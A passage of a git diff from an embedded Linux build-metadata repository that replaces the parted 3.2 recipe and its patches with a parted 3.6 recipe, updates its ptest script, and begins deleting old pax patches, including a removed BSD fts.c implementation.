- add_partition = _dm_add_partition;
- remove_partition = _dm_remove_partition;
- resize_partition = _dm_resize_partition;
- get_partition_start_and_length = _dm_get_partition_start_and_length;
-- } else {
-+ } else
-+#endif
-+ {
- add_partition = _blkpg_add_partition;
- remove_partition = _blkpg_remove_partition;
- #ifdef BLKPG_RESIZE_PARTITION
---
-1.9.1
-
diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch
deleted file mode 100644
index 58d8db4426..0000000000
--- a/meta/recipes-extended/parted/files/no_check.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-If check is detected, it makes the builds non-determinstic so just force
-it to be disabled.
-
-RP - 4/11/08
-
-Index: parted-1.9.0/configure.ac
-===================================================================
---- parted-1.9.0.orig/configure.ac 2009-07-23 18:52:08.000000000 +0100
-+++ parted-1.9.0/configure.ac 2010-02-02 14:13:56.013905093 +0000
-@@ -477,7 +477,7 @@
- AM_CONDITIONAL([BUILD_LINUX], [test "$OS" = linux])
-
- dnl check for "check", unit testing library/header
--PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no)
-+have_check=no
- if test "$have_check" != "yes"; then
- AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building])
- fi
diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest
index 695c5e8a7b..096078967f 100644
--- a/meta/recipes-extended/parted/files/run-ptest
+++ b/meta/recipes-extended/parted/files/run-ptest
@@ -1,3 +1,7 @@
#!/bin/sh
-make -C tests check-TESTS
+mkdir -p /etc/udev/mount.ignorelist.d
+echo /dev/sda1 >> /etc/udev/mount.ignorelist.d/parted-tmp
+rm -f tests/*.log
+make -C tests test-suite.log
+rm /etc/udev/mount.ignorelist.d/parted-tmp
diff --git a/meta/recipes-extended/parted/files/syscalls.patch b/meta/recipes-extended/parted/files/syscalls.patch
deleted file mode 100644
index e9bbe9a956..0000000000
--- a/meta/recipes-extended/parted/files/syscalls.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-Upstream-Status: Pending
-
----
- libparted/arch/linux.c | 13 +++++++++++++
- 1 file changed, 13 insertions(+)
-
-Index: parted-1.9.0/libparted/arch/linux.c
-===================================================================
---- parted-1.9.0.orig/libparted/arch/linux.c 2009-07-23 18:52:08.000000000 +0100
-+++ parted-1.9.0/libparted/arch/linux.c 2010-02-02 14:14:16.523904768 +0000
-@@ -17,6 +17,8 @@
-
- #define PROC_DEVICES_BUFSIZ 16384
-
-+#include <linux/version.h>
-+
- #include <config.h>
- #include <arch/linux.h>
-
-@@ -1477,12 +1479,14 @@
-
- #if SIZEOF_OFF_T < 8
-
-+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
- static _syscall5(int,_llseek,
- unsigned int, fd,
- unsigned long, offset_high,
- unsigned long, offset_low,
- loff_t*, result,
- unsigned int, origin)
-+#endif
-
- loff_t
- llseek (unsigned int fd, loff_t offset, unsigned int whence)
-@@ -1490,11 +1494,20 @@
- loff_t result;
- int retval;
-
-+#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
- retval = _llseek(fd,
- ((unsigned long long)offset) >> 32,
- ((unsigned long long)offset) & 0xffffffff,
- &result,
- whence);
-+#else
-+ retval = syscall(__NR__llseek, fd,
-+ ((unsigned long long)offset) >> 32,
-+ ((unsigned long long)offset) & 0xffffffff,
-+ &result,
-+ whence);
-+#endif
-+
- return (retval==-1 ? (loff_t) retval : result);
- }
-
diff --git a/meta/recipes-extended/parted/parted/parted-3.2-sysmacros.patch b/meta/recipes-extended/parted/parted/parted-3.2-sysmacros.patch
deleted file mode 100644
index 211e6c7340..0000000000
--- a/meta/recipes-extended/parted/parted/parted-3.2-sysmacros.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-https://bugs.gentoo.org/580022
-
-From dec8995fe80508374beba6356f6ecbba8ef6b18b Mon Sep 17 00:00:00 2001
-From: Mike Frysinger <vapier@gentoo.org>
-Date: Tue, 21 Jun 2016 15:01:08 -0400
-Subject: [PATCH] include sysmacros.h for major/minor/makedev
-
-Linux C libs are moving away from including this header implicitly via
-sys/types.h, so include it explicitly.
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
----
- libparted/arch/linux.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/libparted/arch/linux.c b/libparted/arch/linux.c
-index 326b95619d31..e5c168be3c68 100644
---- a/libparted/arch/linux.c
-+++ b/libparted/arch/linux.c
-@@ -37,6 +37,7 @@
- #include <dirent.h>
- #include <sys/ioctl.h>
- #include <sys/stat.h>
-+#include <sys/sysmacros.h>
- #include <sys/types.h>
- #include <sys/utsname.h> /* for uname() */
- #include <scsi/scsi.h>
---
-2.8.2
-
diff --git a/meta/recipes-extended/parted/parted_3.2.bb b/meta/recipes-extended/parted/parted_3.2.bb
deleted file mode 100644
index ab30108bf2..0000000000
--- a/meta/recipes-extended/parted/parted_3.2.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Disk partition editing/resizing utility"
-HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
-SECTION = "console/tools"
-DEPENDS = "ncurses readline util-linux virtual/libiconv"
-PR = "r1"
-
-SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
- file://no_check.patch \
- file://syscalls.patch \
- file://fix-doc-mandir.patch \
- file://fix-compile-failure-while-dis.patch \
- file://0001-Include-fcntl.h-in-platform_defs.h.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \
- file://0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch \
- file://parted-3.2-sysmacros.patch \
- file://run-ptest \
- file://Makefile \
- file://0001-libparted-Use-read-only-when-probing-devices-on-linu.patch \
-"
-
-SRC_URI[md5sum] = "0247b6a7b314f8edeb618159fa95f9cb"
-SRC_URI[sha256sum] = "858b589c22297cacdf437f3baff6f04b333087521ab274f7ab677cb8c6bb78e4"
-
-EXTRA_OECONF = "--disable-device-mapper"
-
-inherit autotools pkgconfig gettext texinfo ptest
-
-BBCLASSEXTEND = "native"
-
-do_compile_ptest() {
- oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize
-}
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- mkdir $t/build-aux
- cp ${S}/build-aux/test-driver $t/build-aux/
- cp -r ${S}/tests $t
- cp ${WORKDIR}/Makefile $t/tests/
- sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
- for i in print-align print-max dup-clobber duplicate fs-resize; \
- do cp ${B}/tests/.libs/$i $t/tests/; \
- done
- sed -e 's| ../parted||' -i $t/tests/*.sh
-}
-
-RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3"
diff --git a/meta/recipes-extended/parted/parted_3.6.bb b/meta/recipes-extended/parted/parted_3.6.bb
new file mode 100644
index 0000000000..a537ef74db
--- /dev/null
+++ b/meta/recipes-extended/parted/parted_3.6.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Disk partition editing/resizing utility"
+HOMEPAGE = "http://www.gnu.org/software/parted/parted.html"
+DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging."
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c"
+SECTION = "console/tools"
+DEPENDS = "ncurses util-linux virtual/libiconv"
+
+SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \
+ file://fix-doc-mandir.patch \
+ file://0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch \
+ file://autoconf-2.73.patch \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "3b43dbe33cca0f9a18601ebab56b7852b128ec1a3df3a9b30ccde5e73359e612"
+
+inherit autotools pkgconfig gettext texinfo ptest
+
+PACKAGECONFIG ?= "readline"
+PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2"
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake -C tests print-align print-max dup-clobber duplicate fs-resize print-flags
+}
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ mkdir $t/build-aux
+ cp ${S}/build-aux/test-driver $t/build-aux/
+ cp -r ${S}/tests $t
+ cp ${B}/tests/Makefile $t/tests/
+ mkdir $t/lib
+ cp ${B}/lib/config.h $t/lib
+ sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile
+ sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile
+ sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile
+ for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \
+ do cp ${B}/tests/.libs/$i $t/tests/; \
+ done
+ sed -e 's| ../parted||' -i $t/tests/*.sh
+}
+
+RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ glibc-utils \
+ locale-base-en-us \
+ "
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "partprobe"
+ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe"
diff --git a/meta/recipes-extended/pax/pax/0001-Add-a-comment-for-fallthrough.patch b/meta/recipes-extended/pax/pax/0001-Add-a-comment-for-fallthrough.patch
deleted file mode 100644
index b76f85aa45..0000000000
--- a/meta/recipes-extended/pax/pax/0001-Add-a-comment-for-fallthrough.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From e67bb3debe582f0e77770b714bd012bb1082fc41 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 19 Apr 2017 11:32:00 -0700
-Subject: [PATCH] Add a comment for fallthrough
-
-Fixes warnings with gcc7 e.g.
-
-../../../../../../../workspace/sources/pax/src/options.c: In function 'tar_options':
-../../../../../../../workspace/sources/pax/src/options.c:725:7: error: this statement may fall through [-Werror=implicit-fallthrough=]
- if (opt_add ("write_opt=nodir") < 0)
- ^
-../../../../../../../workspace/sources/pax/src/options.c:730:2: note: here
- case 'O':
- ^~~~
-cc1: all warnings being treated as errors
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/options.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/options.c b/src/options.c
-index c663b4e..b80819a 100644
---- a/src/options.c
-+++ b/src/options.c
-@@ -724,6 +724,7 @@ tar_options (int argc, char **argv)
- case 'o':
- if (opt_add ("write_opt=nodir") < 0)
- tar_usage ();
-+ /* fallthru */
- case 'O':
- Oflag = 1;
- break;
---
-2.12.2
-
diff --git a/meta/recipes-extended/pax/pax/0001-Fix-build-with-musl.patch b/meta/recipes-extended/pax/pax/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 61bf2de5ea..0000000000
--- a/meta/recipes-extended/pax/pax/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,1287 +0,0 @@
-From 47c4db8d37248d968fac7ee4a71ca64398890723 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 6 Jan 2016 11:57:21 -0800
-Subject: [PATCH] Fix build with musl
-
-Remove BSDisms
-Remove fts, and link to libfts thats provided externally
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Inappropriate[musl specific]
-
- lib/Makefile.am | 4 +-
- lib/fts.c | 1025 -------------------------------------------------------
- lib/fts.h | 131 -------
- lib/vis.h | 13 +-
- src/Makefile.am | 2 +-
- src/extern.h | 2 -
- src/file_subs.c | 2 +-
- src/tables.c | 2 +-
- 8 files changed, 14 insertions(+), 1167 deletions(-)
- delete mode 100644 lib/fts.c
- delete mode 100644 lib/fts.h
-
-diff --git a/lib/Makefile.am b/lib/Makefile.am
-index 56d0859..7f5045a 100644
---- a/lib/Makefile.am
-+++ b/lib/Makefile.am
-@@ -8,8 +8,8 @@ AUTOMAKE_OPTIONS = 1.7 gnits
- CLEANFILES = *~
-
- noinst_LIBRARIES = libbsdfunc.a
--noinst_HEADERS = vis.h bsdfunc.h fts.h
-+noinst_HEADERS = vis.h bsdfunc.h
-
- AM_CFLAGS = @EXTRA_CFLAGS@
-
--libbsdfunc_a_SOURCES = vis.c strlcpy.c strmode.c fts.c
-+libbsdfunc_a_SOURCES = vis.c strlcpy.c strmode.c
-diff --git a/lib/fts.c b/lib/fts.c
-deleted file mode 100644
-index 45e90ca..0000000
---- a/lib/fts.c
-+++ /dev/null
-@@ -1,1025 +0,0 @@
--/*-
-- * Copyright (c) 1990, 1993, 1994
-- * The Regents of the University of California. All rights reserved.
-- *
-- * Redistribution and use in source and binary forms, with or without
-- * modification, are permitted provided that the following conditions
-- * are met:
-- * 1. Redistributions of source code must retain the above copyright
-- * notice, this list of conditions and the following disclaimer.
-- * 2. Redistributions in binary form must reproduce the above copyright
-- * notice, this list of conditions and the following disclaimer in the
-- * documentation and/or other materials provided with the distribution.
-- * 4. Neither the name of the University nor the names of its contributors
-- * may be used to endorse or promote products derived from this software
-- * without specific prior written permission.
-- *
-- * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-- * SUCH DAMAGE.
-- */
--
--#ifdef HAVE_CONFIG_H
--#include <config.h>
--#endif
--
--#include <sys/stat.h>
--#include <fcntl.h>
--#include <dirent.h>
--#include <errno.h>
--#include <fts.h>
--#include <stdlib.h>
--#include <string.h>
--#include <unistd.h>
--
--/* Largest alignment size needed, minus one.
-- Usually long double is the worst case. */
--#ifndef ALIGNBYTES
--#define ALIGNBYTES (__alignof__ (long double) - 1)
--#endif
--/* Align P to that size. */
--#ifndef ALIGN
--#define ALIGN(p) (((unsigned long int) (p) + ALIGNBYTES) & ~ALIGNBYTES)
--#endif
--
--
--static FTSENT *fts_alloc (FTS *, const char *, int);
--static FTSENT *fts_build (FTS *, int);
--static void fts_lfree (FTSENT *);
--static void fts_load (FTS *, FTSENT *);
--static size_t fts_maxarglen (char * const *);
--static void fts_padjust (FTS *, FTSENT *);
--static int fts_palloc (FTS *, size_t);
--static FTSENT *fts_sort (FTS *, FTSENT *, int);
--static u_short fts_stat (FTS *, FTSENT *, int);
--static int fts_safe_changedir (FTS *, FTSENT *, int, const char *);
--
--#ifndef MAX
--#define MAX(a, b) (a > b ? a : b)
--#endif
--
--#define ISDOT(a) (a[0] == '.' && (!a[1] || (a[1] == '.' && !a[2])))
--
--#define CLR(opt) (sp->fts_options &= ~(opt))
--#define ISSET(opt) (sp->fts_options & (opt))
--#define SET(opt) (sp->fts_options |= (opt))
--
--#define FCHDIR(sp, fd) (!ISSET(FTS_NOCHDIR) && fchdir(fd))
--
--#define BREAD 3 /* fts_read */
--
--FTS *
--fts_open(argv, koptions, compar)
-- char * const *argv;
-- register int koptions;
-- int (*compar) (const FTSENT **, const FTSENT **);
--{
-- register FTS *sp;
-- register FTSENT *p, *root;
-- register int nitems;
-- FTSENT *parent, *tmp;
-- int len;
--
--tmp = NULL; /* stop compiler whinging */
-- /* Options check. */
-- if (koptions & ~FTS_OPTIONMASK) {
-- errno = EINVAL;
-- return (NULL);
-- }
--
-- /* Allocate/initialize the stream */
-- if ((sp = malloc((u_int)sizeof(FTS))) == NULL)
-- return (NULL);
-- memset(sp, 0, sizeof(FTS));
-- sp->fts_compar = (int (*) (const void *, const void *)) compar;
-- sp->fts_options = koptions;
--
-- /* Logical walks turn on NOCHDIR; symbolic links are too hard. */
-- if (ISSET(FTS_LOGICAL))
-- SET(FTS_NOCHDIR);
--
-- /*
-- * Start out with 1K of path space, and enough, in any case,
-- * to hold the user's paths.
-- */
--#ifndef MAXPATHLEN
--#define MAXPATHLEN 1024
--#endif
-- if (fts_palloc(sp, MAX(fts_maxarglen(argv), MAXPATHLEN)))
-- goto mem1;
--
-- /* Allocate/initialize root's parent. */
-- if ((parent = fts_alloc(sp, "", 0)) == NULL)
-- goto mem2;
-- parent->fts_level = FTS_ROOTPARENTLEVEL;
--
-- /* Allocate/initialize root(s). */
-- for (root = NULL, nitems = 0; *argv != NULL; ++argv, ++nitems) {
-- /* Don't allow zero-length paths. */
-- if ((len = strlen(*argv)) == 0) {
-- errno = ENOENT;
-- goto mem3;
-- }
--
-- p = fts_alloc(sp, *argv, len);
-- p->fts_level = FTS_ROOTLEVEL;
-- p->fts_parent = parent;
-- p->fts_accpath = p->fts_name;
-- p->fts_info = fts_stat(sp, p, ISSET(FTS_COMFOLLOW));
--
-- /* Command-line "." and ".." are real directories. */
-- if (p->fts_info == FTS_DOT)
-- p->fts_info = FTS_D;
--
-- /*
-- * If comparison routine supplied, traverse in sorted
-- * order; otherwise traverse in the order specified.
-- */
-- if (compar) {
-- p->fts_link = root;
-- root = p;
-- } else {
-- p->fts_link = NULL;
-- if (root == NULL)
-- tmp = root = p;
-- else {
-- tmp->fts_link = p;
-- tmp = p;
-- }
-- }
-- }
-- if (compar && nitems > 1)
-- root = fts_sort(sp, root, nitems);
--
-- /*
-- * Allocate a dummy pointer and make fts_read think that we've just
-- * finished the node before the root(s); set p->fts_info to FTS_INIT
-- * so that everything about the "current" node is ignored.
-- */
-- if ((sp->fts_cur = fts_alloc(sp, "", 0)) == NULL)
-- goto mem3;
-- sp->fts_cur->fts_link = root;
-- sp->fts_cur->fts_info = FTS_INIT;
--
-- /*
-- * If using chdir(2), grab a file descriptor pointing to dot to ensure
-- * that we can get back here; this could be avoided for some paths,
-- * but almost certainly not worth the effort. Slashes, symbolic links,
-- * and ".." are all fairly nasty problems. Note, if we can't get the
-- * descriptor we run anyway, just more slowly.
-- */
-- if (!ISSET(FTS_NOCHDIR)
-- && (sp->fts_rfd = open(".", O_RDONLY, 0)) < 0)
-- SET(FTS_NOCHDIR);
--
-- return (sp);
--
--mem3: fts_lfree(root);
-- free(parent);
--mem2: free(sp->fts_path);
--mem1: free(sp);
-- return (NULL);
--}
--
--static void
--fts_load(sp, p)
-- FTS *sp;
-- register FTSENT *p;
--{
-- register int len;
-- register char *cp;
--
-- /*
-- * Load the stream structure for the next traversal. Since we don't
-- * actually enter the directory until after the preorder visit, set
-- * the fts_accpath field specially so the chdir gets done to the right
-- * place and the user can access the first node. From fts_open it's
-- * known that the path will fit.
-- */
-- len = p->fts_pathlen = p->fts_namelen;
-- memmove(sp->fts_path, p->fts_name, len + 1);
-- if ((cp = strrchr(p->fts_name, '/')) && (cp != p->fts_name || cp[1])) {
-- len = strlen(++cp);
-- memmove(p->fts_name, cp, len + 1);
-- p->fts_namelen = len;
-- }
-- p->fts_accpath = p->fts_path = sp->fts_path;
-- sp->fts_dev = p->fts_dev;
--}
--
--int
--fts_close(sp)
-- FTS *sp;
--{
-- register FTSENT *freep, *p;
-- int saved_errno;
--
-- /*
-- * This still works if we haven't read anything -- the dummy structure
-- * points to the root list, so we step through to the end of the root
-- * list which has a valid parent pointer.
-- */
-- if (sp->fts_cur) {
-- for (p = sp->fts_cur; p->fts_level >= FTS_ROOTLEVEL;) {
-- freep = p;
-- p = p->fts_link != NULL ? p->fts_link : p->fts_parent;
-- free(freep);
-- }
-- free(p);
-- }
--
-- /* Free up child linked list, sort array, path buffer. */
-- if (sp->fts_child)
-- fts_lfree(sp->fts_child);
-- if (sp->fts_array)
-- free(sp->fts_array);
-- free(sp->fts_path);
--
-- /* Return to original directory, save errno if necessary. */
-- if (!ISSET(FTS_NOCHDIR)) {
-- saved_errno = fchdir(sp->fts_rfd) ? errno : 0;
-- (void)close(sp->fts_rfd);
--
-- /* Set errno and return. */
-- if (saved_errno != 0) {
-- /* Free up the stream pointer. */
-- free(sp);
-- errno = saved_errno;
-- return (-1);
-- }
-- }
--
-- /* Free up the stream pointer. */
-- free(sp);
-- return (0);
--}
--
--/*
-- * Special case of "/" at the end of the path so that slashes aren't
-- * appended which would cause paths to be written as "....//foo".
-- */
--#define NAPPEND(p) \
-- (p->fts_path[p->fts_pathlen - 1] == '/' \
-- ? p->fts_pathlen - 1 : p->fts_pathlen)
--
--FTSENT *
--fts_read(sp)
-- register FTS *sp;
--{
-- register FTSENT *p, *tmp;
-- register int instr;
-- register char *t;
-- int saved_errno;
--
-- /* If finished or unrecoverable error, return NULL. */
-- if (sp->fts_cur == NULL || ISSET(FTS_STOP))
-- return (NULL);
--
-- /* Set current node pointer. */
-- p = sp->fts_cur;
--
-- /* Save and zero out user instructions. */
-- instr = p->fts_instr;
-- p->fts_instr = FTS_NOINSTR;
--
-- /* Any type of file may be re-visited; re-stat and re-turn. */
-- if (instr == FTS_AGAIN) {
-- p->fts_info = fts_stat(sp, p, 0);
-- return (p);
-- }
--
-- /*
-- * Following a symlink -- SLNONE test allows application to see
-- * SLNONE and recover. If indirecting through a symlink, have
-- * keep a pointer to current location. If unable to get that
-- * pointer, follow fails.
-- */
-- if (instr == FTS_FOLLOW &&
-- (p->fts_info == FTS_SL || p->fts_info == FTS_SLNONE)) {
-- p->fts_info = fts_stat(sp, p, 1);
-- if (p->fts_info == FTS_D && !ISSET(FTS_NOCHDIR)) {
-- if ((p->fts_symfd = open(".", O_RDONLY, 0)) < 0) {
-- p->fts_errno = errno;
-- p->fts_info = FTS_ERR;
-- } else
-- p->fts_flags |= FTS_SYMFOLLOW;
-- }
-- return (p);
-- }
--
-- /* Directory in pre-order. */
-- if (p->fts_info == FTS_D) {
-- /* If skipped or crossed mount point, do post-order visit. */
-- if (instr == FTS_SKIP ||
-- (ISSET(FTS_XDEV) && p->fts_dev != sp->fts_dev)) {
-- if (p->fts_flags & FTS_SYMFOLLOW)
-- (void)close(p->fts_symfd);
-- if (sp->fts_child) {
-- fts_lfree(sp->fts_child);
-- sp->fts_child = NULL;
-- }
-- p->fts_info = FTS_DP;
-- return (p);
-- }
--
-- /* Rebuild if only read the names and now traversing. */
-- if (sp->fts_child != NULL && ISSET(FTS_NAMEONLY)) {
-- CLR(FTS_NAMEONLY);
-- fts_lfree(sp->fts_child);
-- sp->fts_child = NULL;
-- }
--
-- /*
-- * Cd to the subdirectory.
-- *
-- * If have already read and now fail to chdir, whack the list
-- * to make the names come out right, and set the parent errno
-- * so the application will eventually get an error condition.
-- * Set the FTS_DONTCHDIR flag so that when we logically change
-- * directories back to the parent we don't do a chdir.
-- *
-- * If haven't read do so. If the read fails, fts_build sets
-- * FTS_STOP or the fts_info field of the node.
-- */
-- if (sp->fts_child != NULL) {
-- if (fts_safe_changedir(sp, p, -1, p->fts_accpath)) {
-- p->fts_errno = errno;
-- p->fts_flags |= FTS_DONTCHDIR;
-- for (p = sp->fts_child; p != NULL;
-- p = p->fts_link)
-- p->fts_accpath =
-- p->fts_parent->fts_accpath;
-- }
-- } else if ((sp->fts_child = fts_build(sp, BREAD)) == NULL) {
-- if (ISSET(FTS_STOP))
-- return (NULL);
-- return (p);
-- }
-- p = sp->fts_child;
-- sp->fts_child = NULL;
-- goto name;
-- }
--
-- /* Move to the next node on this level. */
--next: tmp = p;
-- if ((p = p->fts_link) != NULL) {
-- free(tmp);
--
-- /*
-- * If reached the top, return to the original directory (or
-- * the root of the tree), and load the paths for the next root.
-- */
-- if (p->fts_level == FTS_ROOTLEVEL) {
-- if (FCHDIR(sp, sp->fts_rfd)) {
-- SET(FTS_STOP);
-- return (NULL);
-- }
-- fts_load(sp, p);
-- return (sp->fts_cur = p);
-- }
--
-- /*
-- * User may have called fts_set on the node. If skipped,
-- * ignore. If followed, get a file descriptor so we can
-- * get back if necessary.
-- */
-- if (p->fts_instr == FTS_SKIP)
-- goto next;
-- if (p->fts_instr == FTS_FOLLOW) {
-- p->fts_info = fts_stat(sp, p, 1);
-- if (p->fts_info == FTS_D && !ISSET(FTS_NOCHDIR)) {
-- if ((p->fts_symfd =
-- open(".", O_RDONLY, 0)) < 0) {
-- p->fts_errno = errno;
-- p->fts_info = FTS_ERR;
-- } else
-- p->fts_flags |= FTS_SYMFOLLOW;
-- }
-- p->fts_instr = FTS_NOINSTR;
-- }
--
--name: t = sp->fts_path + NAPPEND(p->fts_parent);
-- *t++ = '/';
-- memmove(t, p->fts_name, p->fts_namelen + 1);
-- return (sp->fts_cur = p);
-- }
--
-- /* Move up to the parent node. */
-- p = tmp->fts_parent;
-- free(tmp);
--
-- if (p->fts_level == FTS_ROOTPARENTLEVEL) {
-- /*
-- * Done; free everything up and set errno to 0 so the user
-- * can distinguish between error and EOF.
-- */
-- free(p);
-- errno = 0;
-- return (sp->fts_cur = NULL);
-- }
--
-- /* NUL terminate the pathname. */
-- sp->fts_path[p->fts_pathlen] = '\0';
--
-- /*
-- * Return to the parent directory. If at a root node or came through
-- * a symlink, go back through the file descriptor. Otherwise, cd up
-- * one directory.
-- */
-- if (p->fts_level == FTS_ROOTLEVEL) {
-- if (FCHDIR(sp, sp->fts_rfd)) {
-- SET(FTS_STOP);
-- return (NULL);
-- }
-- } else if (p->fts_flags & FTS_SYMFOLLOW) {
-- if (FCHDIR(sp, p->fts_symfd)) {
-- saved_errno = errno;
-- (void)close(p->fts_symfd);
-- errno = saved_errno;
-- SET(FTS_STOP);
-- return (NULL);
-- }
-- (void)close(p->fts_symfd);
-- } else if (!(p->fts_flags & FTS_DONTCHDIR) &&
-- fts_safe_changedir(sp, p->fts_parent, -1, "..")) {
-- SET(FTS_STOP);
-- return (NULL);
-- }
-- p->fts_info = p->fts_errno ? FTS_ERR : FTS_DP;
-- return (sp->fts_cur = p);
--}
--
--/*
-- * Fts_set takes the stream as an argument although it's not used in this
-- * implementation; it would be necessary if anyone wanted to add global
-- * semantics to fts using fts_set. An error return is allowed for similar
-- * reasons.
-- */
--/* ARGSUSED */
--int
--fts_set(sp, p, instr)
-- FTS __attribute__((__unused__)) *sp;
-- FTSENT *p;
-- int instr;
--{
--sp = NULL; /* stop compiler whinging */
-- if (instr != 0 && instr != FTS_AGAIN && instr != FTS_FOLLOW &&
-- instr != FTS_NOINSTR && instr != FTS_SKIP) {
-- errno = EINVAL;
-- return (1);
-- }
-- p->fts_instr = instr;
-- return (0);
--}
--
--/*
-- * This is the tricky part -- do not casually change *anything* in here. The
-- * idea is to build the linked list of entries that are used by fts_children
-- * and fts_read. There are lots of special cases.
-- *
-- * The real slowdown in walking the tree is the stat calls. If FTS_NOSTAT is
-- * set and it's a physical walk (so that symbolic links can't be directories),
-- * we can do things quickly. First, if it's a 4.4BSD file system, the type
-- * of the file is in the directory entry. Otherwise, we assume that the number
-- * of subdirectories in a node is equal to the number of links to the parent.
-- * The former skips all stat calls. The latter skips stat calls in any leaf
-- * directories and for any files after the subdirectories in the directory have
-- * been found, cutting the stat calls by about 2/3.
-- */
--static FTSENT *
--fts_build(sp, type)
-- register FTS *sp;
-- int type;
--{
-- register struct dirent *dp;
-- register FTSENT *p, *head;
-- register int nitems;
-- FTSENT *cur, *tail;
-- DIR *dirp;
-- void *oldaddr;
-- int cderrno, descend, len, level, nlinks, saved_errno,
-- nostat, doadjust;
-- size_t maxlen;
-- char *cp;
--
-- /* Set current node pointer. */
-- cur = sp->fts_cur;
--
-- /*
-- * Open the directory for reading. If this fails, we're done.
-- * If being called from fts_read, set the fts_info field.
-- */
-- if ((dirp = opendir(cur->fts_accpath)) == NULL) {
-- if (type == BREAD) {
-- cur->fts_info = FTS_DNR;
-- cur->fts_errno = errno;
-- }
-- return (NULL);
-- }
--
-- /*
-- * Nlinks is the number of possible entries of type directory in the
-- * directory if we're cheating on stat calls, 0 if we're not doing
-- * any stat calls at all, -1 if we're doing stats on everything.
-- */
-- nlinks = -1;
-- nostat = 0;
--
-- /*
-- * If we're going to need to stat anything or we want to descend
-- * and stay in the directory, chdir. If this fails we keep going,
-- * but set a flag so we don't chdir after the post-order visit.
-- * We won't be able to stat anything, but we can still return the
